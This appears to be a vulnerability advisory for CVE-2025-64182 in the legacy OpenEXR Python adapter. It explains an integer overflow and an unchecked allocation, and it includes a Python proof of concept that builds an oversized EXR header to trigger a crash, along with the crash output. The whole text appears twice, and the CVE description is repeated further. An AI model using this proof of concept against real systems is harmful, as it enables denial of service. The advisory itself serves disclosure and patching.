CVE-2025-64182

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

• In channel():

  • Width and height are derived from the header dataWindow using int.

  • typeSize is a size_t. The buffer size is computed as typeSize * width * height with no bounds checks.

  • The result is passed to PyString_FromStringAndSize(NULL, size) which maps to PyBytes_FromStringAndSize. That function expects Py_ssize_t. If the product overflows or exceeds PY_SSIZE_T_MAX, allocation fails or the value wraps.

  • The return value is not checked. The code immediately calls PyString_AsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

  • On 64 bit: PyBytes_FromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.
    On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize * width bytes per scanline for height lines into that buffer, causing a heap overflow.

• In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

# write_big_header_then_crash.py
import OpenEXR, Imath

# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1  # 1073741822

# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1)   # pixels
HEIGHT = 64                                # small height keeps the file tiny

# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
    # Try common names, else fallback to numeric 0
    C = Imath.Compression
    for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
        if hasattr(C, name):
            return Imath.Compression(getattr(C, name))
    return Imath.Compression(0)

hdr = {
    "dataWindow": dw,
    "displayWindow": dw,
    "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
    "compression": no_compression(),
    "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}

# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()

# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])

$ python3 poc.py 
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6              python3 poc.py

Impact

Typical memory stuff.

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

• In channel():

  • Width and height are derived from the header dataWindow using int.

  • typeSize is a size_t. The buffer size is computed as typeSize * width * height with no bounds checks.

  • The result is passed to PyString_FromStringAndSize(NULL, size) which maps to PyBytes_FromStringAndSize. That function expects Py_ssize_t. If the product overflows or exceeds PY_SSIZE_T_MAX, allocation fails or the value wraps.

  • The return value is not checked. The code immediately calls PyString_AsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

  • On 64 bit: PyBytes_FromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.
    On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize * width bytes per scanline for height lines into that buffer, causing a heap overflow.

• In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

# write_big_header_then_crash.py
import OpenEXR, Imath

# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1
INT_MAX = (1 << 31) - 1
MAX_COORD = (INT_MAX // 2) - 1  # 1073741822

# Choose a scanline width that keeps row-bytes < 2^31
# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept
WIDTH = min(400_000_000, MAX_COORD + 1)   # pixels
HEIGHT = 64                                # small height keeps the file tiny

# Build windows from pixel counts
dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

# Robustly set NO_COMPRESSION across enum naming differences
def no_compression():
    # Try common names, else fallback to numeric 0
    C = Imath.Compression
    for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"):
        if hasattr(C, name):
            return Imath.Compression(getattr(C, name))
    return Imath.Compression(0)

hdr = {
    "dataWindow": dw,
    "displayWindow": dw,
    "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},
    "compression": no_compression(),
    "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),
}

# Write just the header (no pixels)
out = OpenEXR.OutputFile("big_header.exr", hdr)
out.close()

# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check
f = OpenEXR.InputFile("big_header.exr")
print("Triggering crash...")
f.channels(["R"])

$ python3 poc.py 
Triggering crash...
libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information
Abort trap: 6              python3 poc.py

Impact

Typical memory stuff.